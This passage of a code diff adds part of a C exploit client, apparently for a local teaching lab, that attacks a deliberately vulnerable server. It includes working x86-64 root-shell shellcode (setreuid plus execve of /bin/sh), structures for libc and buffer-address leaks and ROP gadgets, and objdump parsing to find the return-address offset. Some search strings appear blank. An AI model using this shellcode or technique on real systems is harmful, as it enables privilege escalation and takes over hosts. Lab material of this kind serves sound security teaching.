strstr(), memmem(). */ +#include /* socket(), connect(), shutdown(). */ +#include /* ssize_t, pid_t. */ +#include /* waitpid(): reap the relay child when the session + * ends. */ +#include /* read, write, close, dup2, usleep, _exit. */ + +/* ------------------------------------------------------------------------- */ +/* Defaults */ +/* ------------------------------------------------------------------------- */ + +#define FOOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ +#define FOOSC_PORT 2343 /* Must match foosd's -p. */ +#define FOOSC_BIN "./foosd" /* The target binary, for static analysis. */ + +/* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based + * copy; instantly recognisable in a crash dump as 0x4141414141414141. */ +#define PAD_BYTE 0x41 + +/* Upper bound on banner/leak text we tolerate. */ +#define RECV_MAX 4096 + +/* ------------------------------------------------------------------------- */ +/* x86-64 shellcode -- the setreuid + execve payload */ +/* ------------------------------------------------------------------------- */ + +/* + * 32 bytes of machine code, byte-for-byte what shellcode.S assembles to. + * + * setreuid(0, 0) ; ruid = 0 AND euid = 0 + * execve("/bin/sh",0,0) ; become a root shell + * + * 31 ff xor edi, edi ; ruid = 0 + * 31 f6 xor esi, esi ; euid = 0 + * 6a 71 push 0x71 ; 113 = setreuid + * 58 pop rax + * 0f 05 syscall + * 31 f6 xor esi, esi ; argv = NULL + * 31 d2 xor edx, edx ; envp = NULL + * 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f + * 73 68 00 ; rdi = "/bin/sh\0" + * 57 push rdi ; string onto the stack + * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" + * 6a 3b push 0x3b ; 59 = execve + * 58 pop rax + * 0f 05 syscall + * + * WHY setreuid AND NOT setuid -- this comment is the whole lab in miniature: + * + * execve leaves uids alone. A setuid-root process therefore execs /bin/sh + * with (ruid=user, euid=0). bash notices the mismatch at startup and, in + * the absence of -p, sets euid = ruid -- the shell's built-in guard against + * exactly this attack. setuid(0) alone also loses, because it only changes + * euid, so the mismatch survives. setreuid(0,0) changes BOTH, giving the + * shell equal ids to start from, and root persists. Compare with foosd's + * win() (no root) against win_root() (root) for the same lesson in C. + * + * Note there is deliberately no `ret` at the end: execve replaces the whole + * process image and never returns. + */ +static const unsigned char SHELLCODE[] = { + 0x31, 0xff, /* xor edi, edi */ + 0x31, 0xf6, /* xor esi, esi */ + 0x6a, 0x71, /* push 0x71 (setreuid) */ + 0x58, /* pop rax */ + 0x0f, 0x05, /* syscall */ + 0x31, 0xf6, /* xor esi, esi */ + 0x31, 0xd2, /* xor edx, edx */ + 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low) */ + 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high+NUL) */ + 0x57, /* push rdi */ + 0x48, 0x89, 0xe7, /* mov rdi, rsp */ + 0x6a, 0x3b, /* push 0x3b (execve) */ + 0x58, /* pop rax */ + 0x0f, 0x05 /* syscall */ +}; +#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) + +/* ------------------------------------------------------------------------- */ +/* Results of analysing the target binary and our own libc */ +/* ------------------------------------------------------------------------- */ + +struct bininfo { + unsigned long vuln_addr; /* Address of foosd's vulnerable_handler(). */ + unsigned long win_addr; /* Address of foosd's win() (non-root shell).*/ + unsigned long win_root_addr;/* Address of win_root() (root shell).. */ + unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ + unsigned long rip_off; /* buf -> saved return address. THE key. */ + unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */ +}; + +struct libcinfo { + unsigned long base; /* libc base in OUR process. */ + unsigned long off_system; /* offset of system() */ + unsigned long off_read; /* offset of read() -- matches the leak */ + unsigned long off_binsh; /* offset of the "/bin/sh" string */ + unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ +}; + +struct leaks { + unsigned long stack; /* A stack address (informational). */ + unsigned long libc_read; /* Real address of read() in target's libc. */ + unsigned long buf; /* Address of foosd's `buf`. The whole game. */ + int euid; /* Target's effective uid (from banner). */ + int ruid; /* Target's real uid. */ +}; + +/* ------------------------------------------------------------------------- */ +/* Step 1: static analysis of the target binary via objdump */ +/* ------------------------------------------------------------------------- */ + +/* + * Why parse disassembly instead of hardcoding the offset? Because the number + * (88 for this build) is a property of the compilation, not of the bug. + * Rebuild with another compiler version or another local variable and it + * changes; a hardcoded offset is the classic reason exploits die after a + * rebuild. Computing it keeps the exploit honest and it is what a real + * analyst actually does. + * + * GCC -O0 on x86-64 emits for the target function: + * push %rbp ; mov %rsp,%rbp ; sub $N,%rsp + * lea -OFF(%rbp),%reg <- the buffer, passed to read() + * so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is + * 8 bytes further up: rip_off = OFF + 8 + */ +static int analyse_binary(const char *path, struct bininfo *out) +{ + char cmd[512]; + char line[1024]; + FILE *pp; + int in_vuln = 0; + int saw_read = 0; + int have_off = 0; + long best_off = 0; + int status; + + memset(out, 0, sizeof(*out)); + + /* objdump is guaranteed present because the lab builds with it. */ + snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", + path); + + pp = popen(cmd, "r"); + if (pp == NULL) { + fprintf(stderr, "foosc: cannot run objdump: %s\n", strerror(errno)); + return -1; + } + + while (fgets(line, sizeof(line), pp) != NULL) { + + /* --- Function boundaries: "0000000000401535 :" ---------- */ + if (strstr(line, ":") != NULL) { + in_vuln = 1; + sscanf(line, "%lx", &out->vuln_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + /* Longer name; check it FIRST so it is not confused. */ + sscanf(line, "%lx", &out->win_root_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + sscanf(line, "%lx", &out->win_addr); + continue; + } + + /* Any other "